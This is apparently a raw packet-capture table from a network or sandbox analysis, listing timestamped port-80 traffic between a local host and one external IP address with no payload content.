Feb 5, 2024 10:57:22.480139017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480146885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480151892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480163097 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480164051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480176926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480180025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480190039 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480197906 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480202913 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480215073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480226040 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480235100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480237961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480249882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480253935 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480262995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480273962 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480278015 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480281115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480288029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480293036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480300903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480319023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480325937 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480331898 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480339050 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480350018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480355978 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480360985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480367899 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480375051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480386019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480391979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480403900 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480415106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480418921 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480427980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480439901 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480488062 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480498075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480508089 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480511904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480525017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480536938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480549097 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480550051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480561018 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480566978 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480575085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480587006 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480597019 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480606079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480607986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480623007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480633020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480635881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480644941 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480649948 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480665922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480674982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480679035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480693102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480700016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480705023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480717897 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480731964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480741024 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480746984 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480762005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480767965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480775118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480786085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480797052 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480803013 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480808973 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480820894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480823040 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480834961 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480845928 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480849981 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480864048 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480866909 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480875969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480886936 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480890036 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480899096 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480906963 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480914116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480926037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480937004 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480942965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480948925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480962038 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480963945 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480977058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.480987072 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.480989933 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481004000 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481015921 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481019020 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481029987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481041908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481045961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481054068 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481066942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481067896 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481084108 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481096029 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481096983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481108904 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481113911 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481122017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481133938 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481143951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481154919 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481159925 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481177092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481178999 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481190920 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481193066 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481204033 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481216908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481225967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481230021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481241941 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481249094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481256008 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481267929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481272936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481280088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481291056 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481297016 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481306076 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481317997 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481328964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481333971 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481343985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481352091 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481359959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481370926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481380939 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481391907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481391907 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481409073 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481419086 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481419086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481431961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481436014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481451035 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481456041 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481463909 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481477022 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481493950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481498957 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481507063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481514931 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481520891 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481533051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481544971 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481549025 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481559038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481570959 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481570959 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481581926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481594086 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481602907 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481606007 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481618881 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481628895 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481630087 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481643915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481645107 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481654882 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481668949 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481673956 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481682062 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481693983 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481704950 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481704950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481714964 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481719017 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481731892 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481744051 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481758118 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481759071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481771946 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481784105 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481786966 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481796026 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481800079 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481812954 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481825113 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481834888 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481838942 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481848001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481858969 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481861115 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481869936 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481874943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481893063 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481899977 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481908083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481921911 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481933117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481940031 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481945038 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481955051 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481956005 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481967926 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481980085 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481980085 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.481992960 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.481997967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482007027 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482021093 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482028961 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482033014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482047081 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482057095 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482070923 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482079983 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482084036 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482095957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482106924 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482112885 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482114077 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482127905 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482140064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482141972 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482151985 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482163906 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482175112 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482175112 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482187986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482201099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482208014 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482213974 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482225895 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482232094 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482238054 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482247114 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482250929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482263088 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482273102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482276917 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482285023 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482299089 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482302904 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482311964 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482317924 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482323885 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482336998 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482347965 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482350111 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482362986 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482372046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482376099 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482388020 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482398987 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482398987 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482415915 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482428074 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482438087 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482439995 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482451916 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482461929 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482464075 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482476950 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482477903 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482491970 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482503891 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482505083 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482520103 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482530117 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482531071 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482542992 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482547998 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482557058 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482568979 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482578993 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482583046 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482592106 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482600927 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482608080 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482620001 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482631922 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482640982 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482642889 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482656002 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482664108 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482666969 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482680082 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482680082 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482692957 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482705116 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482712984 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482717037 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482729912 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482738018 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482744932 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482753992 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482758045 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482769966 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482779980 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482781887 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482794046 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482805014 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482805967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482820034 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482834101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482840061 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482846975 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482857943 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482863903 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482870102 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482877970 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482882977 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482898951 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482903004 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482912064 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482923031 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482933044 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482944012 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482944965 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482959032 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482968092 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482970953 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482980967 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.482984066 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.482997894 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483007908 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483009100 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483021021 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483031988 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483032942 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483045101 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483058929 CET	80	49735	91.215.85.120	192.168.2.4
Feb 5, 2024 10:57:22.483064890 CET	49735	80	192.168.2.4	91.215.85.120
Feb 5, 2024 10:57:22.483072042 CET	80	49735	91.215.85.120	192.168.2.4
